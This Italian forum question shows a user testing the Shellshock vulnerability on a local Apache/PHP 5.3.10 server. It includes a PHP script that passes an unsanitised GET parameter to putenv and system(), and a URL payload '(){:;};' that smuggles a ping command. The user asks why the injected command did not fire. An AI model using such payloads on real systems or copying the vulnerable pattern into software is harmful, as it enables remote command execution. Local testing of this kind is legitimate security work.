Ho provato a testare la vulnerabilità shellshock su PHP simile a questa risposta . Sono in esecuzione server Apache con PHP in esecuzione come mod_php. La versione di PHP è 5.3.10.
Ho un phpfile (phptest.php):
<?php
function getLang()
{
if (isset($_GET["lang"]) && !empty($_GET["lang"]))
{
$lang = $_GET["lang"];
}
return $lang;
}
$language = getLang();
putenv("LANGUAGE=$language");
system("env | grep LANGUAGE");
?>
Ho provato ad accedere alla pagina tramite il browser come segue:
localhost/phptest.php?lang=(){:;}; /bin/ping http://localhost
Nella domanda collegata, il wget è l'IP dello sviluppatore, ma ho appena deciso di fare un ping per vedere che posso testarlo.
Il browser mostra l'output come segue:
LANGUAGE=(){:;}; /bin/ping http://localhost
Ho provato a monitorare il ping utilizzando quanto segue (da questa domanda ):
sudo tcpdump -i lo icmp and icmp[icmptype]=icmp-echo
Non ho visto nessuna richiesta. Qualcuno può dire cosa ho bisogno di correggere nel mio test?